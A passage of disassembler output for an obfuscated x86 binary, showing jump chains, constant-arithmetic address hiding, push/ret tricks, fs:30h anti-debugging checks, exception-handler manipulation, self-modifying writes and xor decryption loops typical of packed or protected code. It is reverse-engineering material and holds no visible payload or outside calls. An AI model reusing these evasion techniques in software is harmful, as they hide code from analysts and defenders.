loc_40F080:				; CODE XREF: sub_40B99D+577j
		jge	loc_405C42
		cmp	edi, edx
		jmp	loc_410049
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B4E8


loc_40F08D:				; CODE XREF: sub_407FEA:loc_40B372j
					; sub_40B4E8+31FCj
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 10h
		jz	loc_40C540
		inc	dword ptr [ebp-8]


loc_40F0A0:				; CODE XREF: _837l4vi2:0040A82Fj
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx


loc_40F0A5:				; CODE XREF: _837l4vi2:004068DAj
		jmp	loc_40C539
; END OF FUNCTION CHUNK	FOR sub_40B4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410241


loc_40F0AA:				; CODE XREF: sub_410241+15j
		mov	ds:dword_406B60, eax
		xor	eax, eax
		mov	ds:dword_406B54, eax
; END OF FUNCTION CHUNK	FOR sub_410241
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40F0B6:				; CODE XREF: sub_407AA4+13EEj
					; sub_407AA4+5E4Dj ...
		jo	loc_409314
		call	sub_410942


loc_40F0C1:				; CODE XREF: sub_40ECC0-1C1Ej
		jz	loc_40FCA1


loc_40F0C7:				; CODE XREF: sub_40989E+278Ej
		jmp	sub_408CAC
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_40F0CC:				; CODE XREF: sub_40989E-157Cj
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8FE


loc_40F0D1:				; CODE XREF: sub_40A8FE-2AD0j
		jmp	loc_410D1D
; END OF FUNCTION CHUNK	FOR sub_40A8FE
; ---------------------------------------------------------------------------


loc_40F0D6:				; CODE XREF: _837l4vi2:004060E0j
		jmp	loc_407BC3
; ---------------------------------------------------------------------------
		push	8CE7BAA8h
		jz	loc_410CE3
		push	0CC9BAB8Dh
		test	edi, ebx
		jmp	loc_40FC95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_40F0F2:				; CODE XREF: sub_40E6CD:loc_40D51Aj
		add	ecx, 0E3F308E2h
		jmp	loc_40915E
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------


loc_40F0FD:				; CODE XREF: _837l4vi2:0040FA2Cj
		push	eax
		call	sub_405752
		test	eax, eax
		jz	loc_40FF8C
		add	eax, edx
		xor	eax, ebx
		call	sub_4089F3
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_40F114:				; CODE XREF: sub_4089C5+5BB9j
		jmp	loc_410EE6
; END OF FUNCTION CHUNK	FOR sub_4089C5
; ---------------------------------------------------------------------------


loc_40F119:				; CODE XREF: _837l4vi2:00409BC6j
		jmp	locret_40E4C1
; ---------------------------------------------------------------------------


loc_40F11E:				; DATA XREF: sub_40C1F0:loc_40990Bo
		pop	large dword ptr	fs:0
; START	OF FUNCTION CHUNK FOR sub_40CE96


loc_40F125:				; CODE XREF: sub_40CE96:loc_40A6F9j
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_40CE96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC3B


loc_40F129:				; CODE XREF: sub_40EC3B+1Dj
		jmp	loc_40E0C3
; END OF FUNCTION CHUNK	FOR sub_40EC3B
; ---------------------------------------------------------------------------


loc_40F12E:				; CODE XREF: _837l4vi2:0040CA55j
		jmp	loc_40D499
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40F133:				; CODE XREF: sub_40C1F0-233Bj
		push	large dword ptr	fs:0
		jmp	loc_405D0F
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------


loc_40F13F:				; CODE XREF: _837l4vi2:0040C12Cj
		and	ebx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_40F141	proc near		; CODE XREF: sub_409E44-1D93p

; FUNCTION CHUNK AT 00407751 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B441 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D547 SIZE 0000000F BYTES

		mov	[esp+0], edx


loc_40F144:				; CODE XREF: sub_40BF48:loc_40EFD3j
		pop	edx
		mov	[ebp-14h], edx
		mov	eax, [ebp-0Ch]
		jmp	loc_40B441
sub_40F141	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 4CB976E9h
		call	sub_4099FB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABD5


loc_40F15C:				; CODE XREF: sub_40ABD5:loc_407B1Cj
		jmp	nullsub_175
; END OF FUNCTION CHUNK	FOR sub_40ABD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DD9E


loc_40F161:				; CODE XREF: sub_40DD9E:loc_40DDAFj
		jmp	loc_40ABD9
; END OF FUNCTION CHUNK	FOR sub_40DD9E
; ---------------------------------------------------------------------------


loc_40F166:				; CODE XREF: _837l4vi2:0041067Fj
		jnz	loc_409DB6
		mov	eax, large fs:30h
		add	eax, 20h
		jmp	loc_40EF12
; ---------------------------------------------------------------------------


loc_40F17B:				; CODE XREF: _837l4vi2:004071C2j
		shr	esi, 1Bh
		jmp	loc_40A889
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40F183:				; CODE XREF: sub_40E3C8-5C71j
		ror	eax, 1Bh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40F188:				; CODE XREF: sub_40DF72-7BAEj
		push	0BF18D933h
		pop	eax
		or	eax, 0DEDA3C6Ah
		rol	eax, 0Ah
		jmp	loc_40A388
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
		cmp	ebp, edi
		jmp	loc_4086CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D92B


loc_40F1A3:				; CODE XREF: sub_40D92B:loc_409849j
		call	sub_40A8D3


loc_40F1A8:				; CODE XREF: sub_40DDCA+Fj
		jmp	nullsub_114
; END OF FUNCTION CHUNK	FOR sub_40D92B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409153


loc_40F1AD:				; CODE XREF: sub_409153+6j
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_409153
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FED5


loc_40F1B2:				; CODE XREF: sub_40FED5:loc_40CA10j
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_40FEDE
		retn
; END OF FUNCTION CHUNK	FOR sub_40FED5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40F1C7:				; CODE XREF: sub_40892F+4D85j
		jmp	nullsub_161
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------


loc_40F1CC:				; CODE XREF: _837l4vi2:00408B43j
		jmp	locret_40D036
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40F1D1:				; CODE XREF: sub_405CBC+195Fj
		jmp	loc_4062AA
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FED5


loc_40F1D6:				; CODE XREF: sub_40FED5:loc_40FEDEj
		sub	ebx, 10000h
		jmp	loc_40D588
; END OF FUNCTION CHUNK	FOR sub_40FED5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40F1E1:				; CODE XREF: sub_406ADC:loc_409186j
		jz	nullsub_159
		jmp	loc_407EA2
; END OF FUNCTION CHUNK	FOR sub_406ADC

; =============== S U B	R O U T	I N E =======================================



sub_40F1EC	proc near		; DATA XREF: _837l4vi2:loc_408BBAo

; FUNCTION CHUNK AT 00405AD4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00409BA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B989 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040C425 SIZE 00000011 BYTES

		add	eax, [ebp-14h]
		cmp	eax, [ebp-0Ch]
		ja	loc_405AD4


loc_40F1F8:				; CODE XREF: _837l4vi2:0040F7B2j
		cmp	dword ptr [ebp-8], 0A22F8A70h
		jz	loc_40B991
		jmp	loc_40B989
sub_40F1EC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jb	loc_40B22F
		jmp	loc_40A524
; ---------------------------------------------------------------------------


loc_40F215:				; DATA XREF: _837l4vi2:loc_40A935o
		push	ecx
		push	54A5225Dh
		pop	ecx
		xor	ecx, 457E63B2h
		jmp	loc_405117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE47


loc_40F227:				; CODE XREF: sub_40DE47:loc_405935j
		jnz	loc_40BEE1
		jmp	loc_4051C9
; END OF FUNCTION CHUNK	FOR sub_40DE47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B8AE


loc_40F232:				; CODE XREF: sub_40B8AE:loc_406C72j
		jz	loc_407AE8
		jmp	loc_4084C4
; END OF FUNCTION CHUNK	FOR sub_40B8AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40F23D:				; CODE XREF: sub_40926F:loc_4092B1j
		call	sub_40ACF2


loc_40F242:				; CODE XREF: _837l4vi2:0040E208j
		jmp	loc_405469
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A34C


loc_40F247:				; CODE XREF: sub_40A34C:loc_40F9F2j
		shr	edx, 10h
		jmp	loc_405DCD
; END OF FUNCTION CHUNK	FOR sub_40A34C
; ---------------------------------------------------------------------------


loc_40F24F:				; CODE XREF: _837l4vi2:0040ECF2j
		mov	ebx, offset loc_40F258
		xchg	ebx, [esp]
		retn
; ---------------------------------------------------------------------------


loc_40F258:				; DATA XREF: _837l4vi2:loc_40F24Fo
		pop	eax
		pop	edx
		pop	ebx
		pop	ebp
		jmp	loc_410A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40F261:				; CODE XREF: sub_40B67D-593Cj
		rol	eax, 9
		jmp	loc_40DF0A
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108F9


loc_40F269:				; CODE XREF: sub_4108F9-B5A1j
		jl	loc_40CD8E
		mov	ecx, 8B352574h
		jmp	loc_40ABF2
; END OF FUNCTION CHUNK	FOR sub_4108F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085B9


loc_40F279:				; CODE XREF: sub_4085B9+Aj
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		mov	eax, 80000003h
		xor	ebx, ebx
		xor	ecx, ecx
		jmp	loc_40A964
; END OF FUNCTION CHUNK	FOR sub_4085B9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40F290:				; CODE XREF: sub_40892F+301Dj
		jmp	loc_40EB0A
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_40F296:				; CODE XREF: _837l4vi2:0040FF2Cj
		jmp	loc_405D36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40F29B:				; CODE XREF: sub_40AA44-2DD8j
		push	edx
		push	0A0D5AFE7h
		add	edx, ecx
		jmp	loc_40FE8E
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
		test	eax, 7C6FEDF7h
		jmp	loc_4106D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D32


loc_40F2B3:				; CODE XREF: sub_409D32+Bj
		cmp	byte ptr [eax],	2Eh
		jnz	loc_410D68
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-20h]
		jmp	loc_410B79
; END OF FUNCTION CHUNK	FOR sub_409D32
; ---------------------------------------------------------------------------


loc_40F2CA:				; CODE XREF: _837l4vi2:00408CFEj
		sub	edx, 0ACF90DAFh
		test	edx, 4000h
		jmp	loc_408291
; ---------------------------------------------------------------------------
		call	nullsub_216
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_40FAB5
		jmp	loc_40F02B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40F2F9:				; CODE XREF: sub_405CBC:loc_40F586j
		pop	edx
		mov	eax, ds:dword_40D420
		or	eax, eax
		jnz	loc_40C975
		jmp	loc_40E608
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_40F30D:				; CODE XREF: sub_40DC3E-4E1j
		not	ebx


loc_40F30F:				; CODE XREF: sub_40DC3E:loc_40DB64j
		push	offset loc_408D74
		jmp	loc_40CCAD
; END OF FUNCTION CHUNK	FOR sub_40DC3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409C00


loc_40F319:				; CODE XREF: sub_409C00:loc_409E33j
		pop	edx
		pop	ecx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_409C00

; =============== S U B	R O U T	I N E =======================================



sub_40F31D	proc near		; CODE XREF: sub_409C00+4F21p

; FUNCTION CHUNK AT 00409732 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00410FD1 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		jmp	loc_410FD1
sub_40F31D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40F32A:				; CODE XREF: _837l4vi2:loc_40E6F7j
		jmp	locret_40CBF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409DD8


loc_40F32F:				; CODE XREF: sub_409DD8+6E20j
		add	edi, 48134A64h
		mov	edi, [edi]
		xchg	edi, [esp-8+arg_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_409DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405984


loc_40F33B:				; CODE XREF: sub_405984+10j
		jmp	loc_40716D
; END OF FUNCTION CHUNK	FOR sub_405984
; ---------------------------------------------------------------------------


loc_40F340:				; CODE XREF: _837l4vi2:loc_4091F0j
		jz	loc_40ACA6
		jmp	loc_408268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F9B3


loc_40F34B:				; CODE XREF: sub_40F9B3-81D2j
		jno	loc_40A23A
		jmp	loc_40CBF2
; END OF FUNCTION CHUNK	FOR sub_40F9B3
; ---------------------------------------------------------------------------
		jbe	loc_408E9F
		jmp	sub_40B75E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408769


loc_40F362:				; CODE XREF: sub_408769+6347j
		jmp	loc_406646
; END OF FUNCTION CHUNK	FOR sub_408769
; ---------------------------------------------------------------------------
		push	edx
		call	loc_40B259

; =============== S U B	R O U T	I N E =======================================



sub_40F36D	proc near		; CODE XREF: sub_41045F:loc_40B2B9p
		mov	[esp+0], edi
		push	0DABF040Dh
		pop	edi
		add	edi, 2581F372h
		push	offset loc_409A35


loc_40F381:				; CODE XREF: sub_40DF72:loc_409E62j
		jmp	nullsub_117
sub_40F36D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40845E


loc_40F387:				; CODE XREF: sub_40845E+Bj
		jmp	loc_40FBD0
; END OF FUNCTION CHUNK	FOR sub_40845E
; ---------------------------------------------------------------------------
		sbb	esi, 706D7B1Ch
		jmp	sub_4105F8
; ---------------------------------------------------------------------------
		jge	loc_407E5C
		jmp	loc_406988
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40F3A2:				; CODE XREF: sub_40601E+AAC5j
		js	nullsub_203
		add	edi, ebx
; END OF FUNCTION CHUNK	FOR sub_40601E
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40F3AA:				; CODE XREF: sub_40926F:loc_410F37j
		jmp	loc_40EA75
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40F3AF:				; CODE XREF: sub_40DF72-1ADj
		jz	loc_40BFA3
		jmp	loc_40866D
; END OF FUNCTION CHUNK	FOR sub_40DF72

; =============== S U B	R O U T	I N E =======================================



sub_40F3BA	proc near		; CODE XREF: sub_40E9F7j
					; DATA XREF: sub_406C3E+7DAFo

; FUNCTION CHUNK AT 0040FAE0 SIZE 00000010 BYTES

		cmp	dword ptr [ebp-14h], 4
		jnz	loc_408240
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		jmp	loc_40FAE0
sub_40F3BA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40F3D6:				; CODE XREF: sub_40DF72:loc_40AE18j
		ror	eax, 1
		mov	esi, 7664978Bh
		not	ebp
		add	eax, esi
		xchg	eax, ebx
		jmp	loc_407CDD
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------

locret_40F3E8:				; CODE XREF: _837l4vi2:0040637Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406637


loc_40F3E9:				; CODE XREF: sub_406637+Aj
		jmp	loc_40F950
; END OF FUNCTION CHUNK	FOR sub_406637
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4057E6


loc_40F3EE:				; CODE XREF: sub_4057E6+Ej
		jmp	loc_409BCB
; END OF FUNCTION CHUNK	FOR sub_4057E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40F3F3:				; CODE XREF: _837l4vi2:004057ABj
					; sub_40B67D:loc_405E77j
		xor	ecx, 0D9D256DDh
		add	ecx, ebp
		add	ecx, 4A7C9F7Fh
		mov	ecx, [ecx]
		and	ecx, 7
		mov	al, 1
		shl	al, cl
		mov	edx, [ebp-20h]
		jmp	loc_405E97
; END OF FUNCTION CHUNK	FOR sub_40B67D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40F414:				; DATA XREF: sub_407918:loc_40D9C9o
		mov	[ebp-5], al
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_40F417:				; CODE XREF: _837l4vi2:00407455j
					; sub_40D7F5-24E3j ...
		push	offset sub_41087A
		jmp	loc_406514
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085B9


loc_40F421:				; CODE XREF: sub_4085B9+C07j
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		jmp	loc_40ACAC
; END OF FUNCTION CHUNK	FOR sub_4085B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40F42E:				; CODE XREF: sub_405950-7ABj
		push	0D1583EA5h
		pop	eax
		jmp	loc_40DCEC
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097D5


loc_40F439:				; CODE XREF: sub_4097D5-34B3j
		cdq


loc_40F43A:				; CODE XREF: sub_4097D5:loc_406318j
		add	eax, 0FFFC23ECh
		xchg	eax, [esp-4+arg_0]
		jmp	sub_40E13A
; END OF FUNCTION CHUNK	FOR sub_4097D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40F448:				; CODE XREF: sub_40D735-6DBj
		jz	loc_40E864
		jmp	loc_410905
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================



sub_40F453	proc near		; CODE XREF: sub_40C94E-5488p
					; _837l4vi2:0040926Aj

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	eax, [esp-4+arg_0]
		retn
sub_40F453	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40F45B:				; CODE XREF: _837l4vi2:0040B1A3j
		jmp	loc_406B2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40F460:				; CODE XREF: sub_406ADC+3CD5j
		jmp	loc_40782E
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------


loc_40F465:				; CODE XREF: _837l4vi2:00408E3Bj
		sub	ecx, edx
		shl	eax, 8
		not	eax
		jmp	loc_40C6BD

; =============== S U B	R O U T	I N E =======================================



sub_40F471	proc near		; CODE XREF: sub_405723+1028p
					; _837l4vi2:0040EA8Aj

; FUNCTION CHUNK AT 00407C7D SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax+18h]
		push	offset loc_40890D
		jmp	loc_407C7D
sub_40F471	endp

; ---------------------------------------------------------------------------
		push	0F6A87256h
		mov	edx, offset loc_40F490
		xchg	edx, [esp]
		retn
; ---------------------------------------------------------------------------


loc_40F490:				; DATA XREF: _837l4vi2:0040F487o
		xor	edx, ds:4000D2h
		add	edx, 0C32D28Eh
		call	sub_40E739
		jmp	loc_4096F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7F9


loc_40F4A6:				; CODE XREF: sub_40A7F9+773j
		cdq
		jg	loc_409C4B
		mov	esi, [edi]


loc_40F4AF:				; CODE XREF: sub_4065B8+959Fj
		jmp	loc_40B696
; END OF FUNCTION CHUNK	FOR sub_40A7F9
; ---------------------------------------------------------------------------


loc_40F4B4:				; CODE XREF: _837l4vi2:loc_40B236j
		mov	[edi], edx
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		cmp	dword ptr [ebp-8], 0
		jbe	loc_40BF3D
		jmp	loc_408DFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407853


loc_40F4CB:				; CODE XREF: sub_407853:loc_40B620j
		add	ecx, 57C4D457h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_40AB57
; END OF FUNCTION CHUNK	FOR sub_407853
; ---------------------------------------------------------------------------

locret_40F4D9:				; CODE XREF: _837l4vi2:00409A55j
		retn
; ---------------------------------------------------------------------------


loc_40F4DA:				; CODE XREF: _837l4vi2:0040CEFCj
		jmp	loc_40A5AE
; ---------------------------------------------------------------------------


loc_40F4DF:				; CODE XREF: _837l4vi2:0040B1AEj
		sub	ecx, 1C37A18Eh

; =============== S U B	R O U T	I N E =======================================



sub_40F4E5	proc near		; CODE XREF: sub_407FEA+4339p

; FUNCTION CHUNK AT 00406058 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004074CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DFE0 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		push	edi
		push	0C25A519Ch
		jmp	loc_40DFE0
sub_40F4E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F4F4	proc near		; DATA XREF: sub_410619+3o
		jz	sub_410C99
		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_122
		mov	byte ptr [eax],	0C3h
		push	edi
		push	87D2FB7Eh
		jmp	loc_40B3F2
sub_40F4F4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_40F511:				; CODE XREF: sub_40E6CD:loc_40658Cj
		mov	byte ptr [eax+edx], 0
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_409CA8
		jmp	loc_40A63D
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405FB4


loc_40F52A:				; CODE XREF: sub_407756+8j
					; sub_405FB4:loc_407ECFj
		ror	eax, 19h
		push	42AD2D3Ch
		mov	[esp-8+arg_4], eax
		push	ebx
		push	0A6C0C37Ch
		pop	ebx
		sub	ebx, 0F93FEC88h
		jmp	loc_40BDF5
; END OF FUNCTION CHUNK	FOR sub_405FB4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_40F548:				; CODE XREF: sub_408A93+34FFj
					; DATA XREF: sub_40E09D+6o
		push	0A912BDF2h
		pop	eax
		add	eax, 572E2146h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_405F5B
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_40F55D:				; CODE XREF: sub_40989E-345Cj
		push	0
		push	0F7C25F38h
		pop	eax
		add	eax, 0FA7E82ADh
		jmp	loc_40D28D
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------

locret_40F570:				; CODE XREF: _837l4vi2:0040A03Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40F571:				; CODE XREF: sub_405CBC:loc_40CB2Aj
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_409178
; ---------------------------------------------------------------------------


loc_40F581:				; CODE XREF: sub_405CBC+1954j
		call	sub_408055


loc_40F586:				; CODE XREF: sub_4108AF-375Fj
		jmp	loc_40F2F9
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------


loc_40F58B:				; CODE XREF: _837l4vi2:0040D011j
		jmp	loc_40EE11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40F591:				; CODE XREF: _837l4vi2:00407382j
		jmp	locret_40FA61
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: _837l4vi2:0040C4C0j
		jg	loc_40C3AA
		test	esi, 0F04CBC68h
; START	OF FUNCTION CHUNK FOR sub_40E236


loc_40F5A2:				; CODE XREF: sub_40E236:loc_40ACC2j
		jmp	loc_410E91
; END OF FUNCTION CHUNK	FOR sub_40E236
; ---------------------------------------------------------------------------


loc_40F5A7:				; CODE XREF: _837l4vi2:0040C391j
		xchg	esi, ebp


loc_40F5A9:				; CODE XREF: _837l4vi2:loc_40D815j
		push	ecx
		push	8148D761h
		pop	ecx
		add	ecx, 7EF819EFh
		xchg	ecx, [esp]
		jmp	loc_40A9AD

; =============== S U B	R O U T	I N E =======================================



sub_40F5BE	proc near		; CODE XREF: sub_408F1B-1832p
					; _837l4vi2:004083EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0040508D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040592D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040730D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409D57 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040DE24 SIZE 00000022 BYTES

		mov	[esp+0], ecx
		pop	ecx
		popf
		xchg	edx, [esp-4+arg_0]
		push	0
		push	3
		push	ecx
		push	0BC428976h
		jmp	loc_40730D
sub_40F5BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	edi, ecx
		jmp	sub_407902
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_40F5DC:				; CODE XREF: sub_40C3AF-56CBj
					; sub_40C3AF-3E5Fj
		push	edx
		push	1A9F97DBh
		pop	edx
		add	edx, 0E5A13E3Ch
		jmp	loc_406627
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40F5EE:				; CODE XREF: sub_407FEA-2B9Bj
					; sub_40BF48+3A34j
		mov	ecx, edx
		mov	edi, 9804173Bh
		jmp	loc_4058F1
; END OF FUNCTION CHUNK	FOR sub_40BF48

; =============== S U B	R O U T	I N E =======================================



sub_40F5FA	proc near		; CODE XREF: _837l4vi2:004053C6j
					; sub_406CB3+5p
		xchg	ecx, [esp+0]
		pop	ecx
		pop	ebp
		call	sub_40E294
		sub	ecx, 0FB0EC55h
		add	edi, 693D6370h
		jmp	sub_405D62
sub_40F5FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
